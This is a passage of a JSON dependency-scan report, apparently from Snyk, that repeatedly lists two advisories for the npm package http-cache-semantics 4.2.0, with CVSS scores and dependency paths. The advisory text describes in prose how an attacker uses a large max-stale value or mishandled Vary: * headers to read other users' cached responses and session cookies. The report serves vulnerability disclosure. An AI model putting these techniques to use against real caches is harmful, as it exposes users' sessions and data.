[Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { 